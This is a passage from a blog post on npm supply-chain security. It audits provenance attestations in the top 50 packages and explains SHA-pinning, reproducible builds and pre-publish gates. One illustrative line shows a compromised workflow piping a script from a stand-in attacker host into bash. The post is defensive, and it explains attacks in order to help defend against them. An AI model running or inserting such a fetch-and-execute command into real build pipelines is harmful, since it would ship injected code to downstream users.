The attacker repointed multiple existing Git tags (v1.0.0, v35.7.7-sec, v44.5.1, v5, several others) to a single
malicious commit, 0e58ed8671d6b60d0890c21b07f8835ace038e67. That commit dumped CI/CD secrets out of runner memory and
into the action's own log output. For public repos, anyone with a browser could harvest them.

The fix, then and now, is SHA-pinning. If your workflow uses this:

- uses: tj-actions/changed-files@v44

You're trusting whatever commit v44 happens to point to right now. The maintainer, or an attacker who controls the
maintainer's GitHub account, can change that commit at any time and you won't notice.

Pin to a SHA instead:

- uses: tj-actions/changed-files@<full-commit-sha>  # plus a comment with the version it corresponds to

That commit is immutable. The same workflow run a year from now uses the same code.

So your release workflow needs provenance AND SHA-pinned actions. Two separate protections, neither of which gives you
the other.

The reproducibility gap

There's a third gap. Even with provenance and SHA-pinned actions, you're trusting the workflow itself.

Provenance proves the tarball came out of your-repo/.github/workflows/release.yml at commit abc123. It does not
prove that someone independently verifying the source can rebuild the same tarball.

Why does that matter? If your workflow is compromised, say an attacker pushes a commit that runs an extra
curl https://evil.example/inject.sh | bash before the publish step, the resulting tarball will have a perfectly valid
provenance attestation. The attestation just says "this came from this workflow at this commit." It doesn't say "this
matches what a clean rebuild from source would produce."

Reproducible builds close that gap. The workflow records exactly how the tarball was built. A third party (you, a
security researcher, a paranoid downstream consumer) can clone the source at the recorded commit, run the same build,
and check the output matches the published tarball bit-for-bit. If it doesn't match, something injected itself between
the source and the artefact.

This is harder to set up than provenance. You need deterministic builds, a documented build environment, and
verification tooling. Most npm packages don't bother. Most of them probably could.

The pre-publish gate gap

There's a fourth gap, and this one's almost trivial but almost nobody enforces it.

If your workflow runs npm publish without first running npm test, npm run lint, and npm run typecheck and
failing the publish if any of them fail, you've left a window for shipping broken code by accident.

This isn't a supply-chain attack class on its own. But it compounds the others. If your tests would have caught a
malicious commit but they didn't run before the publish, the malicious commit ships. If your linter would have flagged
the suspicious eval() but it didn't run, the flag is silent.

Every reasonable release pipeline should have hard pre-publish gates. Most don't. Adding them to a workflow is a few
dozen lines of YAML and an afternoon of debugging your jobs DAG.

The full defence is four things

Pulling this together:

Provenance attestations: link the tarball to a specific source commit and workflow
SHA-pinned action dependencies: actions can't be swapped under you
Reproducible build verification: third parties can verify the tarball matches source
Hard pre-publish gates: tests, lint, type-check must pass or no release

Each one is honestly, not that hard on its own. The problem is doing all four, getting them right and keeping them right
as your workflow evolves, and... not breaking anything in the process.

A typical release workflow trying to do all four ends up at 200 to 400 lines of YAML, with shell scripts inlined as
run: blocks, error handling that's easy to get wrong, and edge cases (what if the tag doesn't match the version?, what
if the changelog is missing?, what if the prepack script tries to escape the JSON parser?) that mostly get discovered
the hard way.

Where to start

The two-line provenance fix is the easiest win. Ship that today, please. Whichever package you maintain, your downstream
users are better off for it.

For the rest (SHA-pinning, reproducibility verification, pre-publish gates), wire them into your own workflow as you
have time. The four ideas matter more than any particular implementation.

If you'd rather start from a worked example, i've been hacking on a small GitHub Action
called anvil that bundles all four. Pure bash, no npm dependencies, sized to be
readable end-to-end. Take it, fork it, ignore it, whatever's useful for you.

What none of this covers

Even with all four protections in place, three things stay outside:

Compromise of your source repo. If an attacker has commit access and pushes malicious code, the pipeline will faithfully build, attest, and publish that code. Garbage in, signed garbage out. The defence here is branch protections, code review, and a trusted committer set.
Compromise of npm itself. The attestation infrastructure trusts npm's registry to serve attestation files honestly. If npm is compromised, all bets are off across the ecosystem.
Weak tests. Pre-publish gates fire if your tests pass. Weak tests mean weak gates. The pipeline audits your release process, not your code.

These protections make the publishing journey trustworthy. They don't make your code trustworthy. Different problem.

The full data

#	Package	Weekly DLs	Latest	Provenance?
1	semver	610,243,244	7.7.4	YES
2	debug	532,691,311	4.4.3	no
3	minimatch	523,461,265	10.2.5	no
4	ansi-styles	522,769,972	6.2.3	no
5	strip-ansi	411,102,176	7.2.0	no
6	chalk	396,817,233	5.6.2	no
7	ms	395,779,232	2.1.3	no
8	supports-color	385,913,524	10.2.2	no
9	ansi-regex	379,372,821	6.2.2	no
10	string-width	364,135,592	8.2.0	no
11	commander	340,189,824	14.0.3	no
12	tslib	337,234,183	2.8.1	no
13	picomatch	323,026,531	4.0.4	no
14	wrap-ansi	320,436,278	10.0.0	no
15	emoji-regex	312,985,608	10.6.0	YES
16	glob	309,837,287	13.0.6	no
17	@types/node	290,430,824	25.6.0	no
18	color-name	264,344,627	2.1.0	no
19	color-convert	262,462,195	3.1.3	no
20	readable-stream	261,917,376	4.7.0	no
21	eslint-visitor-keys	254,322,113	5.0.1	YES
22	has-flag	250,891,975	5.0.1	no
23	ajv	249,009,348	8.18.0	no
24	react-is	245,659,013	19.2.5	no
25	uuid	230,086,504	13.0.0	no
26	find-up	229,152,120	8.0.0	no
27	glob-parent	226,159,537	6.0.2	no
28	safe-buffer	222,239,808	5.2.1	no
29	locate-path	220,855,701	8.0.0	no
30	postcss	195,793,780	8.5.9	no
31	string_decoder	188,111,762	1.3.0	no
32	acorn	183,503,639	8.16.0	no
33	mime-db	180,737,586	1.54.0	no
34	ws	177,306,431	8.20.0	no
35	mime-types	177,084,777	3.0.2	no
36	path-key	176,474,004	4.0.0	no
37	yargs-parser	170,472,845	22.0.0	no
38	yargs	167,217,371	18.0.0	no
39	estraverse	166,362,125	5.3.0	no
40	esbuild	164,021,497	0.28.0	YES
41	typescript	163,781,296	6.0.2	no
42	fs-extra	161,928,194	11.3.4	no
43	agent-base	159,319,294	9.0.0	YES
44	cliui	157,997,558	9.0.1	no
45	path-exists	157,258,167	5.0.0	no
46	json5	157,069,492	2.2.3	no
47	eslint-scope	155,326,676	9.1.2	YES
48	get-stream	154,148,256	9.0.1	no
49	@babel/code-frame	153,078,228	7.29.0	no
50	@babel/types	152,109,091	7.29.0	no

Methodology

Audit date: 13 April 2026
Download ranking: npm public downloads API (api.npmjs.org/downloads/point/last-week/<pkg>), aggregated from a candidate pool of around 868 high-traffic packages including the full @types/*, @babel/*, framework families, build tooling, ESLint plugins, and common scoped packages, then sorted by weekly downloads
Provenance check: registry.npmjs.org/-/npm/v1/attestations/<pkg>@<version>, verifying slsa.dev/provenance/v1 predicate type
Verification: each positive result had its DSSE envelope payload decoded and inspected for predicate.buildDefinition.externalParameters.workflow to confirm the binding to source

The ranking is accurate to within a few positions inside the top 50. The 6/50 headline is unaffected by minor rank
swaps. Raw audit data available on request.

DEV Community: The Crypto Donkey

I gave an AI agent money without giving it a wallet. It is just a string.

TL;DR

The hard part was never the payment

Why not Cashu

Part 1: a paid API in 30 lines

Part 2: a note, for real, on mainnet

Part 3: pay your own API with the string

A note is not a balance

Why the server needed no changes at all

Part 4: now give it to an agent

Now look at what that price buys

The honest limits

The short version

There was some money

Scanning a note

Or take it with the secret word

Try it

I put Gopher on Nostr. Now every npub is a gopherhole

TL;DR

I don't think an old protocol is interesting just because it is old

Holes die

A gopher document as a Nostr event

Every npub is already a hole

You don't have to type the npub

Publishing a hole

One set of events, four ways in

The honest limits

Try it

I audited the top 50 npm packages. Almost none ship with supply-chain attestations!

TL;DR

The audit

What's NOT in the top 50!

The single biggest gap: @types/node

Meta publishes react-is without provenance

Microsoft publishes typescript without provenance

ms@2.1.3 has been load-bearing since 2020

Sindre Sorhus publishes 13 of the 50

Only one org does this consistently: ESLint

The two-line fix

The tj-actions story

The reproducibility gap

The pre-publish gate gap

The full defence is four things

Where to start

What none of this covers

The full data

Methodology

The single biggest gap: `@types/node`

Meta publishes `react-is` without provenance

Microsoft publishes `typescript` without provenance

`ms@2.1.3` has been load-bearing since 2020